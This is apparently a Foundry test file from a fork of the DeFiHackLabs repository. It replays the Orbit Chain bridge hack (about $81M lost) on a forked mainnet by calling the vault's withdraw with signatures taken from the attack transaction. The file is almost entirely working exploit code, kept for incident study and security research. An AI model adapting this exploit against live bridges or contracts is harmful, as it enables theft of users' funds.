forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
OrbitChain_exp.sol
156 lines (141 loc) · 5.26 KB
/
OrbitChain_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~81M
// Attacker : https://etherscan.io/address/0x9263e7873613ddc598a701709875634819176aff
// Vulnerable Contract : https://etherscan.io/address/0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a
// Attack Tx (WBTC) : https://explorer.phalcon.xyz/tx/eth/0xe0bada18fdc56dec125c31b1636490f85ba66016318060a066ed7050ff7271f9
// @Analysis
// https://blog.solidityscan.com/orbit-chain-hack-analysis-b71c36a54a69
interface IOrbitBridge {
function withdraw(
address hubContract,
string memory fromChain,
bytes memory fromAddr,
address toAddr,
address token,
bytes32[] memory bytes32s,
uint256[] memory uints,
bytes memory data,
uint8[] memory v,
bytes32[] memory r,
bytes32[] memory s
) external;
function chain() external view returns (string memory);
}
contract ContractTest is Test {
IERC20 private constant WBTC =
IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IOrbitBridge private constant OrbitEthVault =
IOrbitBridge(0x1Bf68A9d1EaEe7826b3593C20a0ca93293cb489a);
address private constant orbitHubContractAddress =
0xB5680a55d627c52DE992e3EA52a86f19DA475399;
address private constant orbitExploiterFromAddr =
0x9263e7873613DDc598a701709875634819176AfF;
address private constant orbitExploiterToAddr =
0x9ca536d01B9E78dD30de9d7457867F8898634049;
function setUp() public {
vm.createSelectFork("mainnet", 18908049);
vm.label(address(WBTC), "WBTC");
vm.label(address(OrbitEthVault), "OrbitEthVault");
vm.label(orbitHubContractAddress, "orbitHubContractAddress");
}
function testExploit() public {
deal(address(WBTC), orbitExploiterToAddr, 0);
emit log_named_decimal_uint(
"Exploiter WBTC balance before attack",
WBTC.balanceOf(orbitExploiterToAddr),
WBTC.decimals()
);
// At first exploiter has deposited some WBTC tokens (acquired from Uniswap) to Orbit in tx:
// https://explorer.phalcon.xyz/tx/eth/0x9d1351ca4ede8b36ca9cd9f9c46e3b08890d13d94dfd3074d9bb66bbcc2629b1
// Hash of the tx from Orbit chain. Details can be found at https://bridge.orbitchain.io/ explorer
bytes32 orbitTxHash = 0xf7f60c98b04d45c371bcccf6aa12ebcd844fca6b17e7cd77503d6159d60a1aaa;
bytes32[] memory bytes32s = new bytes32[](2);
bytes32s[0] = sha256(
abi.encodePacked(
orbitHubContractAddress,
OrbitEthVault.chain(),
address(OrbitEthVault)
)
);
bytes32s[1] = orbitTxHash;
// Values specific to fake signatures from attack tx
uint256[] memory uints = new uint256[](3);
uints[0] = 23_087_900_000; // token withdraw amount
uints[1] = WBTC.decimals();
uints[2] = 8_735; // unique identifier for requesting bridging ex, depositId
// v, r, s signature values from attack tx
uint8[] memory v = new uint8[](7);
v[0] = 27;
v[1] = 28;
v[2] = 28;
v[3] = 27;
v[4] = 28;
v[5] = 28;
v[6] = 27;
bytes32[] memory r = new bytes32[](7);
r[
0
] = 0x3ef06a27b3565a82b6d72af184ca3d787e3dd8fc0bd56bb0e7dce2faf920257d;
r[
1
] = 0xf1d81597f32c9376e90d22b9a1f121f1a99a1c191f8e930ed0de6df7b759a154;
r[
2
] = 0x3b7169e2ee2b73dcfbabae1400b811b95616cb5dc547b8b7b7c6aeb37b5b906b;
r[
3
] = 0xd4b7fd0617b28e1eeb018e1dbf924e662d1a0520cad96af2fcf496e16f4c58c6;
r[
4
] = 0xe06c17f1a6630bfa47f0fe0cfba02f40f0901e2412713e4c7f46ae17a25dc92c;
r[
5
] = 0xdecb2622da70fee1c343b93dc946eb855fd32c59b293c0765cb94a71e62aeff3;
r[
6
] = 0xff7c705149017ce467d05717eadb0a2718aedc7a1799ad153d05e8fc48be853e;
bytes32[] memory s = new bytes32[](7);
s[
0
] = 0x0cc266abfa2ba924ffa7dab0cd8f7bb1a14891ec74dea53927c09296d1c6ac7c;
s[
1
] = 0x739fe72bab59a2eead1e36fdf71441e0407332c508165e460a2cde5418858e1b;
s[
2
] = 0x18303ee09818b0575ea4a5c2ed25b1e78523aa2b387a9c7c9c23b0d906ff9e07;
s[
3
] = 0x37da521031f0a65dd8466d4def41c44a69796f696965c42f9705447286c0ac9a;
s[
4
] = 0x5443cf63033ab211f205076622b2426b994ce3706c1ee2464a68ef168c7639bb;
s[
5
] = 0x725fa18d06acb4f6f8a5b143bca088d76f77d9531765dea6799b484373d0641b;
s[
6
] = 0x6b6ddbaaafc5f0580b670ad9d0913ca4c60df2753151a499117086aa725cf2c7;
OrbitEthVault.withdraw(
orbitHubContractAddress,
"ORBIT",
abi.encodePacked(orbitExploiterFromAddr),
orbitExploiterToAddr,
address(WBTC),
bytes32s,
uints,
"",
v,
r,
s
);
emit log_named_decimal_uint(
"Exploiter WBTC balance after attack",
WBTC.balanceOf(orbitExploiterToAddr),
WBTC.decimals()
);
}
}